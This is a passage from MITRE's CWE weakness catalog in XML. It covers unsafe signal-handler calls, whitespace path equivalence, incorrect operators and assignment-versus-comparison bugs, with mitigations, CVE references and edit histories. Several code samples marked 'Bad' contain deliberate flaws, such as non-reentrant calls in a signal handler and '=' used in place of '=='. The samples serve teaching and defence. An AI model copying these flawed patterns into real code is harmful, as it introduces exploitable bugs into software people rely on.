               <Description>Design signal handlers to only set flags rather than perform complex functionality.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that non-reentrant functions are not found in signal handlers.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Use sanity checks to reduce the timing window for exploitation of race conditions. This is only a partial solution, since many attacks might fail, but other attacks still might work within the narrower window, even accidentally.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, a signal handler uses syslog() to log a message:</Intro_Text>
               <Example_Code Nature="Bad">
                  <xhtml:div>char *message;<xhtml:br/>void sh(int dummy) {<xhtml:div style="margin-left:1em;">syslog(LOG_NOTICE,"%s\n",message);<xhtml:br/>sleep(10);<xhtml:br/>exit(0);</xhtml:div>}<xhtml:br/>int main(int argc,char* argv[]) {<xhtml:div style="margin-left:1em;">...<xhtml:br/>signal(SIGHUP,sh);<xhtml:br/>signal(SIGTERM,sh);<xhtml:br/>sleep(10);<xhtml:br/>exit(0);</xhtml:div>}<xhtml:div>If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.</xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-0893</Reference>
               <Description>signal handler calls function that ultimately uses malloc()</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0893</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2259</Reference>
               <Description>SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2259</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Unsafe function call from a signal handler</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>SIG30-C</Entry_ID>
               <Entry_Name>Call only asynchronous-safe functions within signal handlers</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>SIG34-C</Entry_ID>
               <Entry_Name>Do not call signal() from within interruptible signal handlers</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>EXP01-J</Entry_ID>
               <Entry_Name>Never dereference null pointers</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP3</Entry_ID>
               <Entry_Name>Use of an improper API</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 13, &#34;Signal Vulnerabilities&#34;, Page 791"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Common_Consequences</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2010-12-13">Unsafe Function Call from a Signal Handler</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="48" Name="Path Equivalence: 'file name' (Internal Whitespace)" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product accepts path input in the form of internal space ('file(SPACE)name') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="41" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Modify Files or Directories</Impact>
            </Consequence>
         </Common_Consequences>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-0293</Reference>
               <Description>Filenames with spaces allow arbitrary file deletion when the product does not properly quote them; some overlap with path traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0293</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1567</Reference>
               <Description>"+" characters in query string converted to spaces before sensitive file/extension (internal space), leading to bypass of access restrictions to the file.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1567</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>file(SPACE)name (internal space)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Denial of Service</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This weakness is likely to overlap quoting problems, e.g. the "Program Files" unquoted search path (CWE-428). It also could be an equivalence issue if filtering removes all extraneous spaces.</Note>
            <Note Type="Relationship">Whitespace can be a factor in other weaknesses not directly related to equivalence. It can also be used to spoof icons or hide files with dangerous names (see icon manipulation and visual truncation in CWE-451).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Path Issue - Internal Space - file(SPACE)name</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="480" Name="Use of Incorrect Operator" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.</Description>
         <Extended_Description>These types of errors are generally the result of a typo by the programmer.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="670" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Sometimes"/>
            <Language Name="C++" Prevalence="Sometimes"/>
            <Language Name="Perl" Prevalence="Sometimes"/>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Note>This weakness can cause unintended logic to be executed and other unexpected application behavior.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.</Description>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis</Method>
               <Description>This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-140">
               <Intro_Text>The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int isValid(int value) {<xhtml:div style="margin-left:1em;">if (value=100) {<xhtml:div style="margin-left:1em;">printf("Value is valid\n");<xhtml:br/>return(1);</xhtml:div>}<xhtml:br/>printf("Value is not valid\n");<xhtml:br/>return(0);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>bool isValid(int value) {<xhtml:div style="margin-left:1em;">if (value=100) {<xhtml:div style="margin-left:1em;">Console.WriteLine("Value is valid.");<xhtml:br/>return true;</xhtml:div>}<xhtml:br/>Console.WriteLine("Value is not valid.");<xhtml:br/>return false;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-103">
               <Intro_Text>The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>#define SIZE 50<xhtml:br/>int *tos, *p1, stack[SIZE];<xhtml:br/>
                     <xhtml:br/>void push(int i) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>p1++;<xhtml:br/>if(p1==(tos+SIZE)) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// Print stack overflow error message and exit</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>*p1 == i;</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int pop(void) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if(p1==tos) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>// Print stack underflow error message and exit</xhtml:i>
                                 <xhtml:br/>
                              </xhtml:div>
                           </xhtml:div>}<xhtml:br/>p1--;<xhtml:br/>return *(p1+1);</xhtml:div>
                     </xhtml:div>}<xhtml:br/>
                     <xhtml:br/>int main(int argc, char *argv[]) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>// initialize tos and p1 to point to the top of stack</xhtml:i>
                           <xhtml:br/>tos = stack;<xhtml:br/>p1 = stack;<xhtml:br/>
                           <xhtml:i>// code to add and remove items from stack</xhtml:i>
                           <xhtml:br/>...<xhtml:br/>return 0;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.</Body_Text>
               <Body_Text>However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-3116</Reference>
               <Description>Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an  incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-3116</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Using the wrong operator</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP45-C</Entry_ID>
               <Entry_Name>Do not perform assignments in selection statements</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>EXP46-C</Entry_ID>
               <Entry_Name>Do not use a bitwise operator with a Boolean-like operand</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP1</Entry_ID>
               <Entry_Name>Glitch in Computation</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Typos&#34;, Page 289"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Detection_Factors, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Using the Wrong Operator</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="481" Name="Assigning instead of Comparing" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The code uses an operator for assignment when the intention was to perform a comparison.</Description>
         <Extended_Description>In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="480" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="697" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="C#" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Alter Execution Logic</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Testing</Phase>
               <Description>Many IDEs and static analysis products will detect this problem.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Place constants on the left. If one attempts to assign a constant with a variable, the compiler will produce an error.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-140">
               <Intro_Text>The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int isValid(int value) {<xhtml:div style="margin-left:1em;">if (value=100) {<xhtml:div style="margin-left:1em;">printf("Value is valid\n");<xhtml:br/>return(1);</xhtml:div>}<xhtml:br/>printf("Value is not valid\n");<xhtml:br/>return(0);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>bool isValid(int value) {<xhtml:div style="margin-left:1em;">if (value=100) {<xhtml:div style="margin-left:1em;">Console.WriteLine("Value is valid.");<xhtml:br/>return true;</xhtml:div>}<xhtml:br/>Console.WriteLine("Value is not valid.");<xhtml:br/>return false;</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed..</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void processString (char *str) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int i;<xhtml:br/>
                           <xhtml:br/>for(i=0; i&lt;strlen(str); i++) {<xhtml:div style="margin-left:1em;">if (isalnum(str[i])){<xhtml:div style="margin-left:1em;">processChar(str[i]);</xhtml:div>}<xhtml:br/>else if (str[i] = ':') {<xhtml:div style="margin-left:1em;">movingToNewInput();}</xhtml:div>}</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public void checkValid(boolean isValid) {<xhtml:div style="margin-left:1em;">if (isValid = true) {<xhtml:div style="margin-left:1em;">System.out.println("Performing processing");<xhtml:br/>doSomethingImportant();</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">System.out.println("Not Valid, do not perform processing");<xhtml:br/>return;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public void checkValid(boolean isValid) {<xhtml:div style="margin-left:1em;">if (isValid) {<xhtml:div style="margin-left:1em;">System.out.println("Performing processing");<xhtml:br/>doSomethingImportant();</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">System.out.println("Not Valid, do not perform processing");<xhtml:br/>return;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Alternatively, to test for false, just use the boolean NOT operator.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
